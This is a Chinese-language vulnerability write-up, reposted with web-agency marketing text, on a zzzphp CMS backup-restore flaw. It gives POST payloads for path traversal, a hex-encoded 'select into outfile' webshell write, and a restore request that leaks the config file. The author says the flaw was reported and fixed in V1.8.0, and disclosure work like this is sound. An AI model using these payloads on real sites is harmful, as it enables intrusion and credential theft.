本篇文章為大家展示了zzzphp后臺限制不嚴格導致多種安全問題該怎么辦,內(nèi)容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
創(chuàng)新互聯(lián)堅信:善待客戶,將會成為終身客戶。我們能堅持多年,是因為我們一直可值得信賴。我們從不忽悠初訪客戶,我們用心做好本職工作,不忘初心,方得始終。10余年網(wǎng)站建設(shè)經(jīng)驗創(chuàng)新互聯(lián)是成都老牌網(wǎng)站營銷服務(wù)商,為您提供網(wǎng)站設(shè)計、成都網(wǎng)站建設(shè)、網(wǎng)站設(shè)計、H5頁面制作、網(wǎng)站制作、品牌網(wǎng)站設(shè)計、小程序定制開發(fā)服務(wù),給眾多知名企業(yè)提供過好品質(zhì)的建站服務(wù)。
zzzphp是一款php語言開發(fā)的免費建站系統(tǒng)以簡單易上手的標簽、安全的系統(tǒng)內(nèi)核、良好的用戶體驗為特點是站長建站的最佳選擇。目前zzzphp最新版為V1.7.5正式版在做代碼審計的時候發(fā)現(xiàn)全版本后臺數(shù)據(jù)庫還原限制不嚴格導致多種安全問題可以造成執(zhí)行任意SQL語句任意文件讀取、上傳webshell等。
首先進入后臺數(shù)據(jù)庫備份頁在之前舊版本中可以直接編輯備份數(shù)據(jù)庫的內(nèi)容
抓包發(fā)現(xiàn)調(diào)用處為save.php的act為editfile這里提交的POST數(shù)據(jù)內(nèi)容為
file=%2Fzzzphp%2Fadmin768%2Fbackup%2F1591758681.bak&filetext=select+111+into+outfile+%27c%3A%5C%5Cxampp%5C%5Chtdocs%5C%5Czzzphp%5C%5Ca.php%27%EF%BC%9B
在代碼里跟蹤editfile函數(shù)代碼可以發(fā)現(xiàn)
function editfile(){ $file=getform('file','post'); $filetext=getform('filetext','post'); $file_path=file_path($file); $safe_path=array('upload','template','runtime'); if(arr_search($file_path,$safe_path)){ $file=$_SERVER['DOCUMENT_ROOT'].$file; !(is_file($file)) and layererr('保存失敗文件不存在'); }else{ layererr('非安全目錄文件不允許修改'); } if (create_file($file,$filetext)){ layertrue ('修改成功'); }else{ layererr('保存失敗'); }; }
通過一些判斷后進入create_file函數(shù)
function create_file( $path, $zcontent = NULL, $over = true ) { $path = str_replace( '//', '/', $path ); check_dir( dirname( $path ), true ); $ext=file_ext( $path ); if(in_array($ext,array('php','asp','aspx','exe','sh','sql','bat')) || empty($ext)) error( '創(chuàng)建文件失敗,禁止創(chuàng)建'.$ext.'文件,' . $path ); $handle = fopen( $path, 'w' )or error( '創(chuàng)建文件失敗,請檢查目錄權(quán)限' ); fwrite( $handle, $zcontent ); return fclose( $handle ); }
發(fā)現(xiàn)這里其實做了三個限制
1、文件需要存在
if(in_array($ext,array('php','asp','aspx','exe','sh','sql','bat')) || empty($ext))
2、如果文件后綴為php、asp、aspx這種關(guān)鍵會受限制但是黑名單還是可以進行繞過比如沒有禁止cerdexphp3,phtml這種特殊后綴。
if(in_array($ext,array('php','asp','aspx','exe','sh','sql','bat')) || empty($ext))
3、路徑需要滿足upload、template或者runtime
$safe_path=array('upload','template','runtime');
首先因為是備份文件文件必須是存在的所以輕松繞過限制1由于是bak文件的后綴也不受后綴影響可以繞過限制2但是限制3需要路徑需要滿足upload、template或者runtime因為是在后臺目錄下所以不符合因為是array匹配嘗試構(gòu)造../相對路徑
file=%2Fzzzphp%2Fupload%2F..%2Fadmin768%2Fbackup%2F1591758681.bak
這樣可以成功繞過限制可以達到對數(shù)據(jù)庫備份文件的修改如下圖所示
這里有個小問題Filetext內(nèi)容會經(jīng)過txt_html檢查在\inc\zzz_main.php第817行
function txt_html( $s ) { if ( !$s ) return $s; if ( is_array( $s ) ) { // 數(shù)組處理 foreach ( $s as $key => $value ) { $string[ $key ] = txt_html( $value ); } } else { if (get_magic_quotes_gpc()) $s = addslashes( $s ); $s = trim( $s ); //array("'"=>"&apos;",'"'=>"&quot;",'<'=> "&lt;",'>'=> "&gt;"); if ( DB_TYPE == 'access' ) { //$s= toutf( $s ); $s = str_replace( "'", "&apos;", $s ); $s = str_replace( '"', "&quot;", $s ); $s = str_replace( "<", "&lt;", $s ); $s = str_replace( ">", "&gt;", $s ); }else{ $s = htmlspecialchars( $s,ENT_QUOTES,'UTF-8' ); } $s = str_replace( "\t", ' &nbsp; &nbsp; &nbsp; &nbsp;', $s ); $s = preg_replace('/script/i', 'scr1pt', $s ); $s = preg_replace('/document/i', 'd0cument', $s ); $s = preg_replace('/.php/i', 'php', $s ); $s = preg_replace('/ascii/i', 'asc11', $s ); $s = preg_replace('/eval/i' , 'eva1', $s ); $s = str_replace( array("base64_decode", "assert", ""), "", $s ); $s = str_replace( array("\r\n","\n"), "
", $s ); } return $s; }
如果直接寫入內(nèi)容如
select 111 into outfile'c:\\xampp\\htdocs\\zzzphp\\a.php'
單引號會被轉(zhuǎn)換所以將以上內(nèi)容轉(zhuǎn)換成16進制也不能有\(zhòng)r\n寫成一行
set @a=0x73656c6563742031313120696e746f206f757466696c652027633a5c5c78616d70705c5c6874646f63735c5c7a7a7a7068705c5c612e70687027;preparecmd from @a;execute cmd;
可以看到能成功修改
然后我們再看看恢復數(shù)據(jù)庫的操作。
function restore(){
是的并沒有做任何檢查直接可以按句恢復這樣導致執(zhí)行備份webshell的SQL語句執(zhí)行并在網(wǎng)站目錄下生成a.php。
在最新版本筆者下的是V1.7.5正式版中編輯數(shù)據(jù)庫bak文件顯示此文件不允許編輯因為在編輯模板template\templateedit.tpl處做了safe_ext限制只允許讀取xml、html、css、js文件后綴。
那么如何繞過限制呢既然不讓編輯原有的數(shù)據(jù)庫那么自行上傳一個數(shù)據(jù)庫bak文件試試在后臺上傳設(shè)置里增加bak后綴看來是沒有限制的。
在附件上傳中上傳bak文件也可以看到能正常上傳成功
然后數(shù)據(jù)庫恢復的時候?qū)ath修改成上傳的bak文件
并跟蹤程序發(fā)現(xiàn)一路暢通直接進入數(shù)據(jù)庫備份恢復可以看到SQL語句成功進入執(zhí)行體db_exec()執(zhí)行
在數(shù)據(jù)庫執(zhí)行體中繼續(xù)往下看:
function db_exec( $sql, $d = NULL ,$log=true) { $db = $_SERVER[ 'db' ]; $d = $d ? $d : $db; if ( !$d ) return FALSE; $sql = str_replace( '[dbpre]', DB_PRE, $sql ); $n = $d->exec( $sql ); db_errno_errstr( $n, $d,$sql); str_log( $sql."\t" , 'log' ); return $n; }
在執(zhí)行exec完SQL會進入記錄日志函數(shù)
str_log( $sql."\t" , 'log' );
跟蹤str_logh函數(shù)發(fā)現(xiàn)在zzz.file.php中613行跟進到str_log文件看到文件的命名規(guī)則為文件命名規(guī)則為當天時間的時間戳+數(shù)據(jù)庫用戶+數(shù)據(jù)庫密碼并且是未授權(quán)訪問
從后臺-操作記錄中也可以訪問
突然想到如果將path修改為系統(tǒng)限制文件比如配置文件config/zzz_config.php內(nèi)容將會被轉(zhuǎn)化成sql語句并記錄日志然后讀取到修改報文如下。
zzz_config.php配置內(nèi)容文件果然可以被成功讀取到。
POST http://127.0.0.1/zzzphp/11111111111/save.php?act=restore HTTP/1.1 Host:127.0.0.1 Connection:keep-alive Content-Length:41 Accept:*/* X-Requested-With:XMLHttpRequest User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko) Chrome/83.0.4103.97 Safari/537.36 Content-Type:application/x-www-form-urlencoded; charset=UTF-8 Origin:http://127.0.0.1 Sec-Fetch-Site:same-origin Sec-Fetch-Mode:cors Sec-Fetch-Dest:empty Referer:http://127.0.0.1/zzzphp/11111111111/?datebackuplist Accept-Encoding:gzip, deflate, br Accept-Language:zh-CN,zh;q=0.9 Cookie:zzz013_adminpass=1; zzz013_adminpath=0; zzz013_adminname=admin;zzz013_adminface=..%2Fplugins%2Fface%2Fface01.png; zzz013_admintime=1591790181;XDEBUG_SESSION=PHPSTORM; PHPSESSID=mtg1vpfnapf6abr6sikv1b0lb1 path=%2Fzzzphp%2Fconfig%2Fzzz_config.php
1、建議增加對path路徑的限制
2、建議對數(shù)據(jù)庫恢復內(nèi)容進行過濾
筆者已經(jīng)將漏洞提交給國家漏洞中心,并關(guān)注到官方20200701 zzzphp V1.8.0正式版對該問題已做了修復。
上述內(nèi)容就是zzzphp后臺限制不嚴格導致多種安全問題該怎么辦,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關(guān)注創(chuàng)新互聯(lián)行業(yè)資訊頻道。